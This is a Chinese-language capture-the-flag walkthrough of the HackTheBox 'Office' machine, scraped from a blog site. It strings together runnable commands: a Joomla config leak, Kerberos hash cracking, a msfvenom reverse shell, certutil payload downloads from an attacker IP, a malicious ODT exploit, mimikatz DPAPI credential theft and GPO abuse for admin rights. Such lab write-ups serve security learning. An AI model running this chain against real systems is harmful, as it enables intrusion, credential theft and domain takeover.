htb_office

news2024/11/26 10:35:51

在这里插入图片描述

端口扫描

namp -sSVC 10.10.11.13

80,445

在这里插入图片描述

在这里插入图片描述

80端口

在这里插入图片描述

robots.txt

只有/administrator可以访问

在这里插入图片描述

Joomla

在这里插入图片描述

joomscan扫描

 joomscan --url http://10.10.11.3/    

版本为4.2.7,存在cve
在这里插入图片描述

CVE-2023-23752 Joomla未授权访问Rest API漏洞

访问路径

/api/index.php/v1/config/application?public=true

在这里插入图片描述

H0lOgrams4reTakIng0Ver754!

尝试登录445端口smb服务

./kerbrute_linux_386 userenum --dc 10.10.11.3 -d office.htb /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt

先收集下用户名

在这里插入图片描述

多次尝试后发现用户名是dwolfe

smbclient -L //10.10.11.3/ -U dwolfe%H0lOgrams4reTakIng0Ver754!

在这里插入图片描述

smbclient //10.10.11.3/SOC\ Analysis -U dwolfe%H0lOgrams4reTakIng0Ver754!

将网络包下载下来

在这里插入图片描述
用wireshark打开
过滤出来有两个kerberos流量包

第二个数据包有关键信息

Frame 1917: 323 bytes on wire (2584 bits), 323 bytes captured (2584 bits) on interface unknown, id 0
 Section number: 1
 Interface id: 0 (unknown)
 Interface name: unknown
 Encapsulation type: Ethernet (1)
 Arrival Time: May 7, 2023 20:57:21.409088000 EDT
 UTC Arrival Time: May 8, 2023 00:57:21.409088000 UTC
 Epoch Arrival Time: 1683507441.409088000
 [Time shift for this packet: 0.000000000 seconds]
 [Time delta from previous captured frame: 0.000000000 seconds]
 [Time delta from previous displayed frame: 0.120607000 seconds]
 [Time since reference or first frame: 7.803090000 seconds]
 Frame Number: 1917
 Frame Length: 323 bytes (2584 bits)
 Capture Length: 323 bytes (2584 bits)
 [Frame is marked: False]
 [Frame is ignored: False]
 [Protocols in frame: eth:ethertype:ip:tcp:kerberos]
 [Coloring Rule Name: TCP]
 [Coloring Rule String: tcp]
Ethernet II, Src: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70), Dst: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 Destination: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 Address: PCSSystemtec_34:d8:9e (08:00:27:34:d8:9e)
 .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
 .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
 Source: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
 Address: PCSSystemtec_a4:08:70 (08:00:27:a4:08:70)
 .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
 .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
 Type: IPv4 (0x0800)
Internet Protocol Version 4, Src: 10.250.0.41, Dst: 10.250.0.30
 0100 .... = Version: 4
 .... 0101 = Header Length: 20 bytes (5)
 Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
 0000 00.. = Differentiated Services Codepoint: Default (0)
 .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
 Total Length: 309
 Identification: 0x6fd1 (28625)
 010. .... = Flags: 0x2, Don't fragment
 0... .... = Reserved bit: Not set
 .1.. .... = Don't fragment: Set
 ..0. .... = More fragments: Not set
 ...0 0000 0000 0000 = Fragment Offset: 0
 Time to Live: 64
 Protocol: TCP (6)
 Header Checksum: 0xb3b7 [validation disabled]
 [Header checksum status: Unverified]
 Source Address: 10.250.0.41
 Destination Address: 10.250.0.30
Transmission Control Protocol, Src Port: 33550, Dst Port: 88, Seq: 1, Ack: 1, Len: 257
 Source Port: 33550
 Destination Port: 88
 [Stream index: 23]
 [Conversation completeness: Complete, WITH_DATA (63)]
 ..1. .... = RST: Present
 ...1 .... = FIN: Present
 .... 1... = Data: Present
 .... .1.. = ACK: Present
 .... ..1. = SYN-ACK: Present
 .... ...1 = SYN: Present
 [Completeness Flags: RFDASS]
 [TCP Segment Len: 257]
 Sequence Number: 1 (relative sequence number)
 Sequence Number (raw): 73981869
 [Next Sequence Number: 258 (relative sequence number)]
 Acknowledgment Number: 1 (relative ack number)
 Acknowledgment number (raw): 527117312
 1000 .... = Header Length: 32 bytes (8)
 Flags: 0x018 (PSH, ACK)
 000. .... .... = Reserved: Not set
 ...0 .... .... = Accurate ECN: Not set
 .... 0... .... = Congestion Window Reduced: Not set
 .... .0.. .... = ECN-Echo: Not set
 .... ..0. .... = Urgent: Not set
 .... ...1 .... = Acknowledgment: Set
 .... .... 1... = Push: Set
 .... .... .0.. = Reset: Not set
 .... .... ..0. = Syn: Not set
 .... .... ...0 = Fin: Not set
 [TCP Flags: ·······AP···]
 Window: 502
 [Calculated window size: 64256]
 [Window size scaling factor: 128]
 Checksum: 0x5431 [unverified]
 [Checksum Status: Unverified]
 Urgent Pointer: 0
 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
 TCP Option - No-Operation (NOP)
 Kind: No-Operation (1)
 TCP Option - No-Operation (NOP)
 Kind: No-Operation (1)
 TCP Option - Timestamps
 Kind: Time Stamp Option (8)
 Length: 10
 Timestamp value: 2838742891: TSval 2838742891, TSecr 3650590
 Timestamp echo reply: 3650590
 [Timestamps]
 [Time since first frame in this TCP stream: 0.000507000 seconds]
 [Time since previous frame in this TCP stream: 0.000000000 seconds]
 [SEQ/ACK analysis]
 [iRTT: 0.000507000 seconds]
 [Bytes in flight: 257]
 [Bytes sent since last PSH flag: 257]
 TCP payload (257 bytes)
 [PDU Size: 257]
Kerberos
 Record Mark: 253 bytes
 0... .... .... .... .... .... .... .... = Reserved: Not set
 .000 0000 0000 0000 0000 0000 1111 1101 = Record Length: 253
 as-req
 pvno: 5
 msg-type: krb-as-req (10)
 padata: 2 items
 PA-DATA pA-ENC-TIMESTAMP
 padata-type: pA-ENC-TIMESTAMP (2)
 padata-value: 3041a003020112a23a0438a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
 etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
 cipher: **a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc**
 PA-DATA pA-PAC-REQUEST
 padata-type: pA-PAC-REQUEST (128)
 padata-value: 3005a0030101ff
 include-pac: True
 req-body
 Padding: 0
 kdc-options: 50800000
 0... .... = reserved: False
 .1.. .... = forwardable: True
 ..0. .... = forwarded: False
 ...1 .... = proxiable: True
 .... 0... = proxy: False
 .... .0.. = allow-postdate: False
 .... ..0. = postdated: False
 .... ...0 = unused7: False
 1... .... = renewable: True
 .0.. .... = unused9: False
 ..0. .... = unused10: False
 ...0 .... = opt-hardware-auth: False
 .... 0... = unused12: False
 .... .0.. = unused13: False
 .... ..0. = constrained-delegation: False
 .... ...0 = canonicalize: False
 0... .... = request-anonymous: False
 .0.. .... = unused17: False
 ..0. .... = unused18: False
 ...0 .... = unused19: False
 .... 0... = unused20: False
 .... .0.. = unused21: False
 .... ..0. = unused22: False
 .... ...0 = unused23: False
 0... .... = unused24: False
 .0.. .... = unused25: False
 ..0. .... = disable-transited-check: False
 ...0 .... = renewable-ok: False
 .... 0... = enc-tkt-in-skey: False
 .... .0.. = unused29: False
 .... ..0. = renew: False
 .... ...0 = validate: False
 cname
 name-type: kRB5-NT-PRINCIPAL (1)
 cname-string: 1 item
 CNameString: tstark
 realm: OFFICE.HTB
 sname
 name-type: kRB5-NT-PRINCIPAL (1)
 sname-string: 2 items
 SNameString: krbtgt
 SNameString: OFFICE.HTB
 till: May 8, 2023 20:57:21.000000000 EDT
 rtime: May 8, 2023 20:57:21.000000000 EDT
 nonce: 369478355
 etype: 1 item
 ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)

尝试使用hashcat破解

先看看用哪个模式

发现有9个,对应的etype不同

在这里插入图片描述

这里是18

在这里插入图片描述

分别是19700和19900

在这里插入图片描述

正好上面etype写了是aes256

选19700

$krb5tgs$18$user$realm$8efd91bb01cc69dd07e46009$7352410d6aafd72c64972a66058b02aa1c28ac580ba41137d5a170467f06f17faf5dfb3f95ecf4fad74821fdc7e63a3195573f45f962f86942cb24255e544ad8d05178d560f683a3f59ce94e82c8e724a3af0160be549b472dd83e6b80733ad349973885e9082617294c6cbbea92349671883eaf068d7f5dcfc0405d97fda27435082b82b24f3be27f06c19354bf32066933312c770424eb6143674756243c1bde78ee3294792dcc49008a1b54f32ec5d5695f899946d42a67ce2fb1c227cb1d2004c0

根据流量包里的数据,仿照格式得到如下密钥

在这里插入图片描述

$krb5tgs$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
hashcat -m 19700 "$krb5tgs$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc"

报错

在这里插入图片描述

回头看了下,才发现19700是TGS-REP,但流量包是预身份认证的数据,应该用19900

= =(第一次用不太熟练)

$krb5pa$18$hashcat$HASHCATDOMAIN.COM$96c289009b05181bfd32062962740b1b1ce5f74eb12e0266cde74e81094661addab08c0c1a178882c91a0ed89ae4e0e68d2820b9cce69770

同样根据格式修改数据

$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc
hashcat.exe -m 19900 "$krb5pa$18$tstark$OFFICE.HTB$a16f4806da05760af63c566d566f071c5bb35d0a414459417613a9d67932a6735704d0832767af226aaa7360338a34746a00a3765386f5fc" rockyou.txt

在这里插入图片描述

playboy69

尝试登录joomla

tstark/playboy69 登录失败

逐个尝试刚刚kerbrute收集到的用户名

最后试出来是administrator/playboy69

在这里插入图片描述

熟门熟路

system->site templates

在这里插入图片描述

修改error.php为反弹shell代码

在这里插入图片描述

访问error.php

反弹

在这里插入图片描述

得到shell,但是只有web_account权限

在这里插入图片描述

因为有tstark用户的账号密码,尝试登录tstark用户

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=4444 -f exe -o payload.exe

certutil -urlcache -split -f http://10.10.14.29:8888/RunasCs.exe
certutil -urlcache -split -f http://10.10.14.29:8888/payload.exe

RunasCs.exe tstark playboy69 payload.exe

得到tstark权限的shell
在这里插入图片描述

netstat -ano

开放了8083端口

在这里插入图片描述

转发出来

certutil -urlcache -split -f http://10.10.14.29:8888/chiselw.exe
chiselw.exe client 10.10.14.29:6150 R:8083:127.0.0.1:8083

在这里插入图片描述

访问

是一个上传职位申请的页面
在这里插入图片描述

发现上传文件有限制,但是可以上传odt文件

在这里插入图片描述

htb另一个靶场mailing里有做过这个

CVE-2023-2255

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.29 LPORT=3333 -f exe -o payload1.exe

certutil -urlcache -split -f http://10.10.14.29:8899/payload1.exe

python3 CVE-2023-2255.py --cmd  'C:\Users\Public\payload1.exe' --output pay2.odt

上传pay2.odt,稍等一会,就反弹回来了

在这里插入图片描述

在这里插入图片描述

下面都是跟着教程做的

DPAPI - Extracting Passwords | HackTricks | HackTricks

cmdkey /list

横向移动到HHogan

在这里插入图片描述

上传mimikatz

certutil -urlcache -split -f   http://10.10.14.29:8899/mimikatz.exe

vault::list

列出vault位置
(这一步不懂有啥用)
在这里插入图片描述
列出Credential Files(凭据文件)

dir /a:h C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\

在这里插入图片描述

列出主密钥
Master Keys

用于加密用户的 RSA 密钥的 DPAPI 密钥存储在目录下,其中 {SID} 是该用户的安全标识符。DPAPI
密钥与保护用户私钥的主密钥存储在同一文件中。它通常是 64 字节的随机数据。(请注意,此目录是受保护的,因此您不能使用 cmd 列出它,但可以从 PS 列出它)。%APPDATA%\Microsoft\Protect\{SID}``dir

powershell   Get-ChildItem C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\

在这里插入图片描述

powershell Get-ChildItem -Hidden C:\Users\ppotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107  

在这里插入图片描述

解密用户的主密钥

dpapi::masterkey /in:"C:\Users\PPotts\AppData\Roaming\Microsoft\Protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb" /rpc

在这里插入图片描述

使用用户解密的主密钥来解密凭据

dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4

在这里插入图片描述
得到密码
H4ppyFtW183#

netstat -ano

靶机开放5985端口,使用Evil-winrm远程连接

在这里插入图片描述

└─# evil-winrm -i 10.10.11.3 -u "hhogan" -p "H4ppyFtW183#"

使用BloodHound导出域间关联数据

bloodhound-python -c ALL -u tstark -p 'playboy69' -d office.htb -dc dc.office.htb -ns 10.10.11.3

在这里插入图片描述

导入本地bloodhound中查看,发现存在GPO Manager组(忘记截图了)

列出GPO组名

Get-GPO -All | Select-Object -ExpandProperty DisplayName

在这里插入图片描述

上传SharpGPOAbuse

利用用户对组策略对象 (GPO) 的编辑权限,以破坏由该 GPO 控制的对象。

certutil -urlcache -split -f http://10.10.14.29:8899/SharpGPOAbuse.exe

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"

添加HHogan为本地管理员组成员

在这里插入图片描述

Options required to add a new local admin:
–UserAccount
设置需要添加进本地管理员组中的账号名称。
–GPOName
存在安全漏洞的GPO名称。 样例:
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName “Vulnerable GPO”

更新组策略

gpupdate /force

查看administrators组用户成员

net localgroup administrators

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1803366.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

linux经典例题编程

编写Shell脚本,计算1~100的和 首先vi 1.sh,创建一个名为1.sh的脚本,然后赋予这个脚本权限,使用命令chmod 755 1.sh,然后就可以在脚本中写程序,然后运行。 shell脚本内容 运行结果: 编写Shell脚本&#xf…

【JavaScript】内置对象 - 字符串对象 ⑤ ( 判断对象中是否有某个属性 | 统计字符串中每个字符出现的次数 )

文章目录 一、判断对象中是否有某个属性1、获取对象属性2、判定对象是否有某个属性 二、统计字符串中每个字符出现的次数1、算法分析2、代码示例 String 字符串对象参考文档 : https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String 一、判…

OpenCV学习(4.8) 图像金字塔

1.目的 在这一章当中, 我们将了解图像金字塔。我们将使用图像金字塔创建一个新的水果,“Orapple”我们将看到这些功能: cv.pyrUp() , cv.pyrDown() 在通常情况下我们使用大小恒定…

Rust 标记一个属性或函数为废弃

如题,演示Rust 标记一个属性或函数为废弃的基本使用方法: 示例: use serde::{Deserialize, Serialize};#[derive(Clone, Debug, Serialize, Deserialize, Default)] pub struct GrpcOptions {pub addr: String,pub max_recv_message_size: u…

MathType7.8学术必备神器 科研利器 教学好帮手

【MathType 7.8】数学公式编辑器,让学术和专业文档制作更高效、更准确!🧮✨ 作为一名软件技术专家,我一直在寻找一款能够轻松创建复杂数学公式的工具。幸运的是,我终于找到了MathType 7.8,这款强大的数学公…

数学+思维,CF1056B - Divide Candies

一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 Problem - 1056B - Codeforces 二、解题报告 1、思路分析 考虑i^2 j^2 | m 而m的余数有限,且m很小 我们枚举两重循环,都枚举m的余数,分别记为x,y 如果x ^ …

vue2组件封装实战系列之tag组件

作为本系列的第一篇文章,不会过于的繁杂,并且前期的组件都会是比较简单的基础组件!但是不要忽视这些基础组件,因为纵观elementui、elementplus还是其他的流行组件库,组件库的封装都是套娃式的,很多复杂组件…

【2024】Kafka Streams详细介绍与具体使用(1)

目录 介绍关键特性应用场景核心概念部署方式kafka streams的处理模式 具体使用1、准备工作2、添加依赖3、代码实现3、测试 介绍 Kafka Streams是构建在Apache Kafka之上的客户端库,用于构建高效、实时的流处理应用。它允许你以高吞吐量和低延迟的方式处理记录流&am…

人工智能在交通与物流领域的普及及应用

文章目录 🐋引言 🐋自动驾驶 🦈自动驾驶汽车 🐡应用现状 🐡技术实现 🐡实现过程及代码 🐋智能交通管理 🦈应用现状 🦈技术实现 🦈实现过程及代码 &…

【讲解下ECMAScript和JavaScript之间有何区别?】

🌈个人主页: 程序员不想敲代码啊 🏆CSDN优质创作者,CSDN实力新星,CSDN博客专家 👍点赞⭐评论⭐收藏 🤝希望本文对您有所裨益,如有不足之处,欢迎在评论区提出指正,让我们共…

React Hooks 封装可粘贴图片的输入框组件(wangeditor)

需求是需要一个文本框 但是可以支持右键或者ctrlv粘贴图片,原生js很麻烦,那不如用插件来实现吧~我这里用的wangeditor插件,初次写初次用,可能不太好,但目前是可以达到实现需求的一个效果啦!后面再改进吧~ …

【国产NI替代】SMU 源测量仪:源测量单元平台主要用于半导体、传感器、模组等 IVR 测试测量

• 集 5 台仪器 (数字万用表、电压源、电流源、电子负载和脉冲发生器) 功能于⼀体 • 典型输出源及测量精度 02%,支持直流/脉冲输出模式 • 脉冲输出模式,最⼩脉冲宽度 100 us ,上升时间 10 us • 具有 pA 级分辨率高精度源,且…

Linux编译器-gcc或g++的使用

一.安装gcc/g 在linux中是不会自带gcc/g的,我们需要编译程序就自己需要安装gcc/g。 很简单我们使用简单的命令安装gcc:sudo yum install -y gcc。 g安装:sudo yum install -y gcc-c。 我们知道Windows上区分文件,都是使用文件…

linux系统——ping命令

ping命令可以用来判断对远端ip的连通性,可以加域名也可以加公共ip地址 这里发送出56字节,返回64字节

【C++修行之道】类和对象(四)运算符重载

目录 一、 运算符重载 函数重载和运算符重载有什么关系? 二、.*运算符的作用 三、运算符重载的正常使用 四、重载成成员函数 五、赋值运算符重载 1.赋值运算符重载格式 传值返回和引用返回 有没有办法不生成拷贝? 2. 赋值运算符只能重载成类的…

命令提示符方式获取笔记本电脑的电池使用情况和状态

1、键盘输入WinR,输入cmd,然后在命令提示符界面输入 powercfg/batteryreport2、将显示的路径复制到浏览器中查看

造假高手——faker

在测试写好的代码时通常需要用到一些测试数据,大量的真实数据有时候很难获取,如果手动制造测试数据又过于繁重无聊,显得不够优雅,今天我们介绍的faker这个轮子可以完美的解决这个问题。faker是一个用于生成各种类型假数据的库&…

多模态模型是什么意思(国内外的AI多模态有哪些)

在人工智能和机器学习的领域,我们经常会遇到一些专业术语,这些术语可能会让初学者感到困惑。其中,"多模态模型"就是这样一个概念。 什么是AI多模态。它是什么意思呢? 那么,多模态模型是什么意思呢&#xff1…

前端开发之中svg图标的使用和实例

svg图标的使用和实例 前言效果图1、安装插件2、vue3中使用2.1、 在components文件夹中,创建公共类SvgIcon/index.vue2.2、创建icons文件,存放svg图标和将所有的svg图标进行引用并注册成全局组件2.3、在man.js 中注册2.4、在vue.config.js中配置svg2.5、在vue中的调用svg图标3…

算法004:盛水最多的容器

. - 力扣(LeetCode). - 备战技术面试?力扣提供海量技术面试资源,帮助你高效提升编程技能,轻松拿下世界 IT 名企 Dream Offer。https://leetcode.cn/problems/container-with-most-water/ 这道题比较简单,使用双指针。 …